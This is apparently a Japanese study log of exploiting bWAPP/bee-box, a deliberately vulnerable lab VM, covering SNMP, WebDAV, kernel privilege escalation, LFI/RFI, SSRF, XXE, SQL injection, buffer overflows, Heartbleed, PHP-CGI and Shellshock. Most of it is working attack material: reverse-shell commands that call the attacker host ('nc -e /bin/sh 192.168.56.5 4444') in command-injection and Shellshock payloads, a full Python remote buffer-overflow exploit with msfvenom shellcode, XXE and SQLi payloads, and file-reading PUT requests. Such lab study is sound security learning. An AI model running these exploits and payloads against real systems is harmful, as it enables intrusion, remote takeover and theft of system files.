use auxiliary/scanner/ftp/anonymous
Insecure SNMP Configuration
SNMP(Simple Network Management Protocol)とは、UDP/IPベースのネットワーク監視、ネットワーク管理を行うためのプロトコルである。
portは161
snmp-check 192.168.56.8
snmpwalk -v2c -c private 192.168.56.8
snmpwalk -v2c -c public 192.168.56.8
bee-boxのバージョンがみえている。
use auxiliary/scanner/snmp/snmp_login
参考文献:
https://net123.tistory.com/513
Insecure WebDAV Configuration
WebDAVとは、主にWebサーバからWebクライアントへのファイルを送信するのに用いられるHTTPを拡張し、サーバ内のファイルやディレクトリの管理を直接行うことができるようにする仕様。
ここにファイルアップロードできないかなどを試す
cadaver http://192.168.56.8/webdav
A command-line WebDAV client for Unix
davtest -url http://192.168.56.8/webdav/
curl -X PUT --data '<?php $f=fopen("/etc/passwd","r"); echo fread($f,filesize("/etc/passwd")); fclose($f); ?>' 'http://192.168.56.8/webdav/attack.php'
use auxiliary/scanner/http/webdav_scanner
その他、nikto
,nmap
などでも確認できるらしい
curl -v -X OPTIONS "http://192.168.56.8/webdav/"
でPUT
ができるかどうか確認すると、PUTが表示されていない。なんでだろう?
参考文献:
Introduction to HTTP PUT Method
Scanning HTTP PUT Method (Nikto)
Exploiting PUT Method Using Cadaver
Exploiting PUT Method Using Nmap
Exploiting PUT Method Using Poster
Exploiting PUT Method Using Metasploit
Exploiting PUT Method Using Burpsuite
Exploiting PUT Method Using Curl
の方法が詳しく載っている
https://www.hackingarticles.in/multiple-ways-to-exploiting-put-method/
Local Privilege Escalation (sendpage)
とりあえずまずユーザ権限のShellを奪取する
python -c 'import pty; pty.spawn("/bin/sh")'
でshellをアップグレード
下のLocal Privilege Escalationを参考にする
kakyouim.hatenablog.com
まずは、LinEnum.shなどのEnumコードで情報収集する
以下の有益な情報が得られた
sudo
コマンドにSUIDビットが立っているため、一般ユーザーでもsudoが使用可能である
今、user=bee,password=bugのユーザーが存在するため、そっちに切り替えてsu rootをすればRootになれる
perl Linux_Exploit_Suggester.pl
でExploitを探す
また、得られたKernelのバージョンから有効なExploitをsearchsploit
でも探す
searchsploitで探すときには、正しいExploitを探すというよりは、明らかに動かないExploitを排除していって残ったものが正常に動くExploitであると考えています
以下の方法で絞り込みを行う
- Linux kernel で2.6(今回は2.6.24)
- Local Privilege
- OSが32bit(i686とあるため)
- 標的の環境ではRubyは動かないので.rbを排除
< 2.6.1
を省く
ここまですればある程度目で見れるくらいに絞れる。あとは、
- Ubuntuで8.04じゃないやつ(10.10とか)
等、矛盾するものを排除していく
注意点
- Grep は標準出力されたものの中で検索するのでsearchsploitの結果が隠れている場合はそれも省いてしまう。(Esca で途切れている場合など注意)
- Ubuntuで絞るのは早すぎる。Ubuntuと書かれていないものもある
- 一個ずつ消すときは、ファイル名で消す
- 2.xみたいなのを消さないように気を付ける
今回絞れるだけ絞った結果が以下である
searchsploit "Privilege" -e | grep "linux kernel" -i | grep -e "2.6" -e "2.x" | grep -v "64/" | grep -v "< 2.6.1" | grep -v "Linux Kernel 2.6.3" | grep -v "< 2.6.7" | grep -e "<" -e ">" -e "/2." -e "2.x" | grep -v "42276" | grep -v "160.c" | grep -v "Bluetooth" -i | grep -v "< 2.6.22" | grep -v "< 2.6.24.1" | grep -v "2.6.17" | grep -v Process | grep -v "10.10" | grep -v "10.04" | grep -v ".rb" | grep -v "145.c" | grep -v "samba" -i | grep -v "2.4.0-test" | grep -v "Android" | grep -v "3.c" | grep -v "Ubuntu 12.04"
この結果とperl Linux_Exploit_Suggester.pl
の結果にsendpage
が含まれているため試してみる
9435
を試すと、以下のようにrootになれた!
Local Privilege Escalation (udev)
先ほど得られたsearchsploitの結果の中でUbuntuで絞ってみると、以下のようになる
udevadm --version
でudevが脆弱なバージョンかどうか確認すると、117となっているため脆弱であることがわかる
41886.c
には以下のようにこのバージョンが脆弱であることが書いてある
8572.c
には以下のようにExploitの手順が書かれているため、その通りに実行してみる
どうやら/tmp/runファイルに実行したいシェルスクリプトを書いておけば、それをroot権限で実行するようです
vimで以下のファイルを作成する。この際、itest^[:wq!
みたいに書くと、testというファイルが作成される(^[
はEscape)
./8572 2530
を実行して、Kali側でnc -lvp 4445
を実行すると以下のようにrootのShellがつながった!
ちなみに、/tmp/run
に以下のように/bin/bash
としてもrootのシェルは立ち上がらなかった。なんでだろう?
ここで少してこずってしまったので、
"cve-2009-1185" AND "exploit" AND "linux" AND "kernel" AND "2.6."
みたいに絞り込んでGoogleで同じバージョンでExploitを検証してないかどうか確認するのがよさそう
ちなみに、dirty c0w
のExploitも試してみる
成功している!
他にもいろいろあるかもしれないですね
注意
dirtycow
を試したら必ずpasswdファイルを復元してください。
自分は復元忘れてて次回起動時にバグって再度入れなおす羽目になりました
Old, Backup & Unreferenced Files
どうやら、ここに載っているファイルがWebサーバ上でアクセスできるようになっており、ブルートフォースでそういう重要なファイルを見つけてくださいということのようです
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ
等を試してみます
/usr/share/dirb/wordlists/common.txt
/usr/share/wfuzz/wordlist/vulns/cgis.txt
/usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt
/usr/share/SecLists/Discovery/Web-Content/quickhits.txt
あたりが使えそう??
Robots File
robots.txtでは、主にクローラーの制限を行う際に活用します。
例えば、User-Agentでクローラーの種類を指定して、その指定したクローラーが特定のファイルをクロールしないように、DisallowでファイルのURLパスを指定します。
なので、ここにDisallowとなっているディレクトリには重要な情報が含まれている可能性があるので見る価値あり
ちなみに、
wfuzz -w /usr/share/SecLists/Discovery/Web-Content/common.txt --filter "c=200" http://192.168.56.33/bWAPP/FUZZ/
ですべてのディレクトリをブルートフォースで確認できます
最後にFUZZ/
のように/
を入れるとディレクトリを探索、FUZZ
のように/
を入れないとファイルを探索する
A6 - Sensitive Data Exposure
Base64 Encoding (Secret)
- low
secretがURLEncode+Base64Encodeされてました
- medium,high
SHA1ハッシュ化されてました
BEAST/CRIME/BREACH
HTTPSの通信バージョンに脆弱性があるようですが詳しいことは何もわかりません
sslscan --no-failed --version 192.168.56.33:9443
nmap -v -v --script ssl-cert,ssl-enum-ciphers -p 9443 192.168.56.33
sslyze --regular --hide_rejected_ciphers 192.168.56.33:9443
AVAILABLE PLUGINS ----------------- SessionResumptionPlugin CompressionPlugin OpenSslCipherSuitesPlugin FallbackScsvPlugin CertificateInfoPlugin HttpHeadersPlugin RobotPlugin EarlyDataPlugin HeartbleedPlugin OpenSslCcsInjectionPlugin SessionRenegotiationPlugin CHECKING HOST(S) AVAILABILITY ----------------------------- 192.168.56.33:9443 => 192.168.56.33 SCAN RESULTS FOR 192.168.56.33:9443 - 192.168.56.33 --------------------------------------------------- * OpenSSL CCS Injection: OK - Not vulnerable to OpenSSL CCS injection * TLS 1.2 Session Resumption Support: With Session IDs: OK - Supported (5 successful, 0 failed, 0 errors, 5 total attempts). With TLS Tickets: OK - Supported * Session Renegotiation: Client-initiated Renegotiation: VULNERABLE - Server honors client-initiated renegotiations Secure Renegotiation: OK - Supported * SSLV2 Cipher Suites: Forward Secrecy INSECURE - Not Supported RC4 INSECURE - Supported Preferred: None - Server followed client cipher suite preference. Accepted: SSL_CK_RC4_128_WITH_MD5 128 bits SSL_CK_RC4_128_EXPORT40_WITH_MD5 40 bits SSL_CK_RC2_128_CBC_WITH_MD5 128 bits SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 40 bits SSL_CK_DES_64_CBC_WITH_MD5 56 bits SSL_CK_DES_192_EDE3_CBC_WITH_MD5 112 bits * TLSV1_3 Cipher Suites: Server rejected all cipher suites. * Deflate Compression: VULNERABLE - Server supports Deflate compression * TLSV1_2 Cipher Suites: Server rejected all cipher suites. * TLSV1_1 Cipher Suites: Server rejected all cipher suites. * Certificate Information: Content SHA1 Fingerprint: ae5fb7be864a78e168318fc1c96a4bd242c4e6c3 Common Name: bee-box.bwapp.local Issuer: bee-box.bwapp.local Serial Number: 15617680085524193115 Not Before: 2013-04-14 18:11:32 Not After: 2018-04-13 18:11:32 Signature Algorithm: sha1 Public Key Algorithm: RSA Key Size: 1024 Exponent: 65537 (0x10001) DNS Subject Alternative Names: [] Trust Hostname Validation: FAILED - Certificate does NOT match 192.168.56.33 Android CA Store (9.0.0_r9): FAILED - Certificate is NOT Trusted: self signed certificate Apple CA Store (iOS 12, macOS 10.14, watchOS 5, and tvOS 12):FAILED - Certificate is NOT Trusted: self signed certificate Java CA Store (jdk-12.0.1): FAILED - Certificate is NOT Trusted: self signed certificate Mozilla CA Store (2019-03-14): FAILED - Certificate is NOT Trusted: self signed certificate Windows CA Store (2019-05-27): FAILED - Certificate is NOT Trusted: self signed certificate Symantec 2018 Deprecation: OK - Not a Symantec-issued certificate Received Chain: bee-box.bwapp.local Verified Chain: ERROR - Could not build verified chain (certificate untrusted?) Received Chain Contains Anchor: ERROR - Could not build verified chain (certificate untrusted?) Received Chain Order: OK - Order is valid Verified Chain contains SHA1: ERROR - Could not build verified chain (certificate untrusted?) Extensions OCSP Must-Staple: NOT SUPPORTED - Extension not found Certificate Transparency: NOT SUPPORTED - Extension not found OCSP Stapling NOT SUPPORTED - Server did not send back an OCSP response * TLSV1 Cipher Suites: Forward Secrecy INSECURE - Not Supported RC4 INSECURE - Supported Preferred: None - Server followed client cipher suite preference. Accepted: TLS_RSA_WITH_RC4_128_SHA 128 bits TLS_RSA_WITH_RC4_128_MD5 128 bits TLS_RSA_WITH_DES_CBC_SHA 56 bits TLS_RSA_WITH_AES_256_CBC_SHA 256 bits TLS_RSA_WITH_AES_128_CBC_SHA 128 bits TLS_RSA_WITH_3DES_EDE_CBC_SHA 112 bits * Downgrade Attacks: TLS_FALLBACK_SCSV: VULNERABLE - Signaling cipher suite not supported * SSLV3 Cipher Suites: Forward Secrecy INSECURE - Not Supported RC4 INSECURE - Supported Preferred: None - Server followed client cipher suite preference. Accepted: TLS_RSA_WITH_RC4_128_SHA 128 bits TLS_RSA_WITH_RC4_128_MD5 128 bits TLS_RSA_WITH_DES_CBC_SHA 56 bits TLS_RSA_WITH_AES_256_CBC_SHA 256 bits TLS_RSA_WITH_AES_128_CBC_SHA 128 bits TLS_RSA_WITH_3DES_EDE_CBC_SHA 112 bits * OpenSSL Heartbleed: OK - Not vulnerable to Heartbleed * ROBOT Attack: OK - Not vulnerable SCAN COMPLETED IN 15.45 S -------------------------
./o-saft.pl +check -v 192.168.56.33:9443
./o-saft.pl +info -v 192.168.56.33:9443
./o-saft.pl +quick -v 192.168.56.33:9443
./o-saft.pl +cipher -v 192.168.56.33:9443
./o-saft.pl +cipherall -v 192.168.56.33:9443
./o-saft.tcl
./testssl.sh -U 192.168.56.33:9443
########################################################### testssl.sh 3.1dev from https://testssl.sh/dev/ (6da6335 2020-02-08 10:32:46 -- ) This program is free software. Distribution and modification under GPLv2 permitted. USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK! Please file bugs @ https://testssl.sh/bugs/ ########################################################### Using "OpenSSL 1.0.2-chacha (1.0.2k-dev)" [~179 ciphers] on kali:./bin/openssl.Linux.x86_64 (built: "Jan 18 17:12:17 2019", platform: "linux-x86_64") Start 2020-02-09 11:50:19 -->> 192.168.56.33:9443 (192.168.56.33) <<-- rDNS (192.168.56.33): -- Service detected: HTTP Testing vulnerabilities Heartbleed (CVE-2014-0160) not vulnerable (OK), no heartbeat extension CCS (CVE-2014-0224) VULNERABLE (NOT ok) Ticketbleed (CVE-2016-9244), experiment. not vulnerable (OK), session IDs were returned but potential memory fragments do not differ ROBOT not vulnerable (OK) Secure Renegotiation (RFC 5746) supported (OK) Secure Client-Initiated Renegotiation VULNERABLE (NOT ok), DoS threat CRIME, TLS (CVE-2012-4929) VULNERABLE (NOT ok) BREACH (CVE-2013-3587) potentially NOT ok, uses gzip HTTP compression. - only supplied "/" tested Can be ignored for static pages or if no secrets in the page POODLE, SSL (CVE-2014-3566) VULNERABLE (NOT ok), uses SSLv3+CBC (check TLS_FALLBACK_SCSV mitigation below) TLS_FALLBACK_SCSV (RFC 7507) Downgrade attack prevention NOT supported and vulnerable to POODLE SSL SWEET32 (CVE-2016-2183, CVE-2016-6329) VULNERABLE, uses 64 bit block ciphers for SSLv2 and above FREAK (CVE-2015-0204) VULNERABLE (NOT ok), uses EXPORT RSA ciphers DROWN (CVE-2016-0800, CVE-2016-0703) VULNERABLE (NOT ok), SSLv2 offered with 6 ciphers Make sure you don't use this certificate elsewhere, see: https://censys.io/ipv4?q=FF29B36FCC813AE5B2100D985E692A612DE6F15570374320F85B43076CF08163 LOGJAM (CVE-2015-4000), experimental not vulnerable (OK): no DH EXPORT ciphers, no DH key detected with <= TLS 1.2 BEAST (CVE-2011-3389) SSL3: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA TLS1: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA VULNERABLE -- and no higher protocols as mitigation supported LUCKY13 (CVE-2013-0169), experimental potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches RC4 (CVE-2013-2566, CVE-2015-2808) VULNERABLE (NOT ok): RC4-SHA RC4-MD5 RC4-MD5 EXP-RC4-MD5 Done 2020-02-09 11:50:56 [ 41s] -->> 192.168.56.33:9443 (192.168.56.33) <<--
要するに、暗号化が脆弱ってことかな?(なんもわからん)
A7 - Missing Functional Level Access Control
Directory Traversal – Directories
- low
documents
となっているところを書き換える
- medium
directory_traversal_2.php?directory=file://
のように書く
Directory Traversal – Files
- low
directory_traversal_1.php?page=../../../etc/passwd
- Medium
directory_traversal_1.php?page=file:///etc/passwd
SQLiteManager Local File Inclusion
searchsploit sqlite | grep 1.2
Remote & Local File Inclusion (RFI/LFI)
- low
rlfi.php?language=lang_en.php&action=go
となっており、PHPファイルをIncludeしていることがわかる
rlfi.php?language=../../../../etc/passwd&action=go
で成功!
- medium
同じことをすると以下のerror
rlfi.php?language=../../../../etc/passwd%00&action=go
%00
のヌルバイトを入れる
<?php if(isset($_GET["language"])) { if($_COOKIE["security_level"] == "2") { if(in_array($language, $available_languages)) include($language); } else { include($language); } } ?>
if(isset($_GET["language"]))
{
switch($_COOKIE["security_level"])
{
case "0" :
$language = $_GET["language"];
break;
case "1" :
$language = $_GET["language"] . ".php";
break;
case "2" :
$available_languages = array("lang_en.php", "lang_fr.php", "lang_nl.php");
$language = $_GET["language"] . ".php";
// $language = rlfi_check_1($language);
break;
default :
$language = $_GET["language"];
break;
}
}
Server Side Request Forgery (SSRF)
RFIを用いたSSRFは前の問題のページを使う
ssrf-1.txt
をダウンロードする
(ssrf-1.php
というファイル名で保存してRFIしたが成功しなかった。なぜだ?)
<?php /* bWAPP, or a buggy web application, is a free and open source deliberately insecure web application. It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities. bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project! It is for educational purposes only. Enjoy! Malik Mesellem Twitter: @MME_IT © 2013 MME BVBA. All rights reserved. */ echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>"; if(isset($_REQUEST["ip"])) { //list of port numbers to scan $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306); $results = array(); foreach($ports as $port) { if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1)) { $results[$port] = true; fclose($pf); } else { $results[$port] = false; } } foreach($results as $port=>$val) { $prot = getservbyport($port,"tcp"); echo "Port $port ($prot): "; if($val) { echo "<span style=\"color:green\">OK</span><br/>"; } else { echo "<span style=\"color:red\">Inaccessible</span><br/>"; } } } ?>
rlfi.php?ip=192.168.56.5&language=http://192.168.56.5/share/ssrf-1.txt&action=go
bWAPPアプリケーションからしか見えないようなネットワーク上のホストに対してポートスキャンができている!(今回はKaliをポートスキャンしているが)
XXEiを用いたSSRFは次の問題のページを使う
次に記す
XML External Entity Attacks (XXE)
Burpでリクエストの内容を確認するとXMLがPOSTされている
POST /bWAPP/xxe-2.php HTTP/1.1 Host: 192.168.56.33 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.56.33/bWAPP/xxe-1.php Content-type: text/xml; charset=UTF-8 Content-Length: 59 Connection: close Cookie: security_level=0; PHPSESSID=f9ff717d145019ee9534c77dbf15fcf7 <reset><login>bee</login><secret>Any bugs?</secret></reset>
BurpのXMLの欄で、POSTの内容を以下に書き換える
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
成功している!
ソースコードは以下の通り
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2") { ini_set("display_errors",1); $xml = simplexml_load_string($body); // Debugging // print_r($xml); $login = $xml->login; $secret = $xml->secret; if($login && $login != "" && $secret) { // $login = mysqli_real_escape_string($link, $login); // $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Connect Error: " . $link->error); } $message = $login . "'s secret has been reset!"; } else { $message = "An error occured!"; } } // If the security level is MEDIUM or HIGH else { // Disables XML external entities. Doesn't work with older PHP versions! // libxml_disable_entity_loader(true); $xml = simplexml_load_string($body); // Debugging // print_r($xml); $login = $_SESSION["login"]; $secret = $xml->secret; if($secret) { $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Connect Error: " . $link->error); } $message = $login . "'s secret has been reset!"; } else { $message = "An error occured!"; } }
Mediumでは表示するものはSESSION[]からとってきているため、ファイルがみられることはない。
ソースコードを見る限り、lowではsecret
でBlind SQLInjetionが可能に見えるので試す
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
で成功!
また、XXEiで表示するコンテンツに<
が含まれる場合、XML構文が終了してしまうためそのよう場合には、
php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml
としてBase64エンコードする
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
また、CVE-2013-4890により、bWAPPアプリケーションを使ってDOS攻撃ができる
参考文献
[https://canyoupwn.me/tr-xml-external-entity-xxe/?cf_chl_jschl_tk=9cba495907f43e11adaca79edd901008cd761095-1581331599-0-AeVtOLQ7W1iFzYapK2sPvn1o9dzyzq9IcRv1TYcc05_e5Y6p5orP8NftJV2UYW_7Kyr9U7WnOWNZCSCA92Q7nU3rNyTo3GUO-Y4s07Yrymqu3MY_knZQjIBeIgAcAxl1xxc7wMVWIpP0gM4UrTcFRDePtXqqeEpdameHnsY7_7G9ZwcYpMlu4uH3YFqpa7FxyRq2wQARUpA8oYyXU98JhP6cpM-fM-nHjdyi01Gy31QqqwllhgNB51IOP9SJ2yAA6Lt852gsMNle8rOL51ACKrxVDmwdaLeNKT3468skykdGWJM9elFsE5wJg6aG-dnJTQ]
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
A9 - Using Known Vulnerable Components
Buffer Overflow (Local)
lowではOSコマンドインジェクションができる
POSTの値を以下にするとシェルが得られた
title=$(nc -e /bin/sh 192.168.56.5 4444)&action=search
BOFの調査をしていく。対象のファイルはbWAPP/apps/movie_search
なので先ほど得られたシェルからgdb
などでデバッグする
まずは、EIPが入力文字列の何文字目かを調査する
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
gdb --args ./movie_search "今の文字列”
EIP
には0x41386c41
が代入されている!
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386c41
これで、EIPを任意のアドレスにJMPさせることが可能になった。
次は、そのJMP先を自分で作成するペイロードなどにに設定する
radare2 ./movie_search
で何かほかにJMPさせられそうな関数はないか調べる。
今回はなかった
gdb上でペイロード送信後にespに代入されているアドレスに格納されている値を確認すると、19Am
となっており、このオフセットを確認すると、358である
したがって、358文字目からespが指すアドレスに格納されており、ここからペイロードを開始して、EIPにjmp esp
を指定すればペイロードを実行できそうである
"A"*354 + "jmp esp" + "payload"
が今回のExploitコードである
objdump -D -M intel movie_search | grep jmp | grep esp
次にmsfvenom
を用いてペイロードを作成する
payload=linux/x86/exec
, encoders=x86/opt_sub
を指定する
標準のEncoderはshikata_ga_naiだが、それでうまく行かない場合(bad charactersが\x00以外にもある場合?)は別のエンコーダーを使用する必要がある。
sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > payload.txt
cat payload.txt
このペイロードをURLエンコードする
(echo -n \'; cat payload.txt; echo -n \';) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
(echo -n \'; cat payload.txt; echo -n \';)でcat
の結果の前後に'
を挿入して次のコマンドの入力とする
s/(.)で文字列を一バイトずつ$1に送信。
/でその文字列を置換する.
sprintf("%%%02X",ord($1))でPerlでURLエンコード.
seg 一連の正規表現フラグ
ここで、'
を挿入している理由は、
$output = shell_exec('/bin/sh /path/to/hoge.sh "'.$arg.'"')
と書くのが正常だが、ソースコードでは
echo shell_exec("./apps/movie_search " . $title);
となっているため、’’
が必要だった。
こうして得られたペイロードを使用してExploitを作成する
ちなみに、msfvenomでpython形式で出力してURLエンコードしてもできる
use linux/x86/exec set CMD /bin/ps generate -b '\x00' -e x86/opt_sub -f py
pythonで正しくURLエンコードするには、
b"\x8f\x92\x04\x08"
とする必要がある
'\x8f\x92\x04\x08'
("\x8f\x92\x04\x08")
ではだめだった
import urllib.parse junk = "A"*354 ret2 = b"\x8f\x92\x04\x08" buf = b"" buf += b"\x54\x58\x2d\x05\xfd\xfd\xfd\x2d\x01\x01\x01\x01\x2d" buf += b"\x01\x01\x01\x01\x50\x5c\x25\x01\x01\x01\x01\x25\x02" buf += b"\x02\x02\x02\x2d\x75\x1c\x30\x7d\x2d\x01\x01\x01\x01" buf += b"\x2d\x01\x01\x01\x01\x50\x2d\x14\xdf\x74\x2b\x2d\x01" buf += b"\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x08\x90\x25" buf += b"\xe1\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d" buf += b"\x67\x6c\xfe\x0b\x2d\x01\x01\x01\x01\x2d\x01\x01\x01" buf += b"\x01\x50\x2d\xac\x15\x24\x60\x2d\x01\x01\x01\x01\x2d" buf += b"\x01\x01\x01\x01\x50\x2d\xe7\x77\x7d\x1a\x2d\x01\x01" buf += b"\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x67\x04\x58\x7f" buf += b"\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x96" buf += b"\x36\xba\xf7\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01" buf += b"\x50\x2d\x39\xca\xe7\x7e\x2d\x01\x01\x01\x01\x2d\x01" buf += b"\x01\x01\x01\x50\x2d\x92\x0e\x21\x7d\x2d\x01\x01\x01" buf += b"\x01\x2d\x01\x01\x01\x01\x50\x2d\x07\xe6\x58\x0e\x2d" buf += b"\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50" print(urllib.parse.quote("'" + junk) + urllib.parse.quote(ret2) + urllib.parse.quote(buf) + "'")
Buffer Overflow (Remote)
nmap -p1-1024 192.168.56.33 -T5
666ポートが対象のポートである
localと同様にExploitする。ペイロードとして、
linux/x86/shell/reverse_tcp
を使用してみる
use linux/x86/shell/reverse_tcp set LHOST 192.168.56.5 generate -b '\x00' -f py
以上より、Exploitは以下の通りである
import sys import socket host = "192.168.56.33" port = 666 junk = b"A" * 354 ret_addr = b"\xa7\x8f\x04\x08" nop = b"\x90" * 16 buf = b"" buf += b"\xda\xca\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\x55\x1c" buf += b"\xa3\xb1\x1f\x31\x42\x1a\x03\x42\x1a\x83\xc2\x04\xe2" buf += b"\xfa\x3f\x16\xfd\x35\x1b\xd1\xe2\x66\xd8\x4d\x8f\x8a" buf += b"\x6e\x17\xc6\x6b\x43\x58\x4f\x30\x34\x99\xd8\xfe\xc1" buf += b"\x71\x1b\xfe\xd8\xdd\x92\x1f\xb0\xbb\xfc\x8f\x14\x13" buf += b"\x74\xce\xd4\x56\x06\x95\x1b\x11\x1e\xdb\xef\xdf\x48" buf += b"\x41\x0f\x20\x89\xdd\x7a\x20\xe3\xd8\xf3\xc3\xc2\x2b" buf += b"\xce\x84\xa0\x6b\xa8\x39\x41\x4c\xf9\x45\x2f\x92\xed" buf += b"\x49\x4f\x1b\xee\x8b\xa4\x17\x30\xe8\x37\x97\xcf\x22" buf += b"\xc7\x52\xef\xc5\xd8\x07\x79\xd4\x40\x05\x5d\xa7\x70" buf += b"\xa4\x1e\x42\xb6\x4e\x1d\xb2\xd6\x16\x20\x4c\x19\x66" buf += b"\x98\x4d\x19\x66\xde\x80\x99" print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(junk + ret_addr + nop + buf) s.close()
これを実行すると、4444ポートでリバースシェルが得られた!
また、linux/x86/shell_bind_tcp
でも試してみる
use linux/x86/shell_bind_tcp set RHOST 192.168.56.33 generate -b '\x00' -f py
このペイロードは標的でポートを開けて、そこにncで接続することでシェルを得る
nc 192.168.56.33 4444
不完全なシェルが得られている
実行できるものもあれば正常にできてないものもある
これでもできる
Heartbleed Vulnerability
- low
OpenSSLとは、オープンソースの暗号ソフトウェアライブラリで、サーバー などがSSL/TLSと呼ばれる暗号方式を利用するために使用される
OpenSSLは、ApacheやNginxといったウェブサーバーに使われており、他に もSSL通信を行うアプリケーションなどに広く使われている
Heart bleedの脆弱性は、ペイロードを送信することでWebサーバーのメモリの一部を取得できるらしい。 sslscan --no-failed --version 192.168.56.33:8443
なぜかHeart Bleedを検出できていない
./o-saft.tcl
./testssl.sh -U 192.168.56.33:8443
nmap --script ssl-heartbleed -sV -p 8443 192.168.56.33
/usr/share/exploitdb/exploits/multiple/remote/32745.py
searchsploitの結果、これを使用してみる
/usr/share/exploitdb/exploits/multiple/remote/32745.py 192.168.56.33 -p 8443
メモリの一部が読み取れている!
msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed set RHOSTS 192.168.56.33 set RPORT 8443 set verbose true exploit
参考文献
https://www.symantec.com/content/ja/jp/enterprise/images/outbreak/Heartbleed_vulnerability.pdf
https://net123.tistory.com/547
PHP CGI Remote Code Execution
リンク先に移動してみると、以下のページになる。
PHPコードの実行方法にはModule方式とCGI方式の二つある。
- Module方式 Module方式では、apacheなどのWEBサーバに組み込まれているmodule (mod_phpなど)がPHPコードを外部実行する。
- CGI方式 CGI方式では、PHPコードや引数を引き渡したphp-cgiを外部実行する。
一般的なものはこれ。apache mod_phpの実行権限でphpが動作するためPHPコードによって権限を分けることができない。
今回はcgi
という文字が見える通りCGI方式である
phpinfo.php?-s
というリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示する
POST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input
として、POSTデータを以下に書き換えると行けた!
<?php readfile('/etc/passwd'); ?>
allow_url_include=On
-dオプションを用いて、php.iniのディレクティブを外部から指定する。auto_prepend_file=php://input
includeするファイルをURL指定でリモートから読み出すことを許可して、PHP実行に先立ち、スクリプトをincludeしておく。<?php readfile('/etc/passwd'); ?>
ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行する。
ちなみに、
nikto -h http://192.168.56.33/bWAPP/admin/
でこの脆弱性を発見できている!
参考文献
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
https://www.fumi.org/neta/201205sv.html
PHP Eval Function
<?php @eval($_REQUEST["eval"]); ?>
php_eval.php?eval=system('cat /etc/passwd');
で成功!
eval=phpinfo();
eval=;echo exec('id');
eval=;echo exec(id);
eval=;exec(‘nc -e /bin/sh 192.168.56.5 4444’);
でも成功!
execを実行結果を表示するにはechoが必要だが、systemでは必要ない(っぽい)
phpMyAdmin BBCode Tag XSS
/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It's+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This Is a Link[%2Fa]このような悪意のあるリンクを含んだページをXSSを用いて挿入できる
参考文献
https://www.exploit-db.com/exploits/15699
Shellshock Vulnerability (CGI)
/bWAPP/cgi-bin/shellshock.sh
にアクセスするとこのスクリプトが実行されるようです
Referer: () { :;};echo;/bin/echo "shell shock"
()
と{:;}
の間にスペース必要!!!!
以下のペイロードでも成功!
Referer: () { :;};echo;echo "shell shock"
Referer: () { :;};echo "ssssss" $(/bin/sh -c "nc -e /bin/bash 192.168.56.5 4444")
User-Agent: () { :;};echo -e "\r\nKNLIwpKiKTCa0nEHWEmc9Iquq"
metasploitでも成功!
metasploitではUserAgentを使って攻撃しています!
use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOSTS 192.168.56.33 set targeturi /bWAPP/cgi-bin/shellshock.sh exploit
参考文献
https://net123.tistory.com/551
https://null-byte.wonderhowto.com/how-to/exploit-shellshock-web-server-using-metasploit-0186084/
SQLiteManager PHP Code Injection
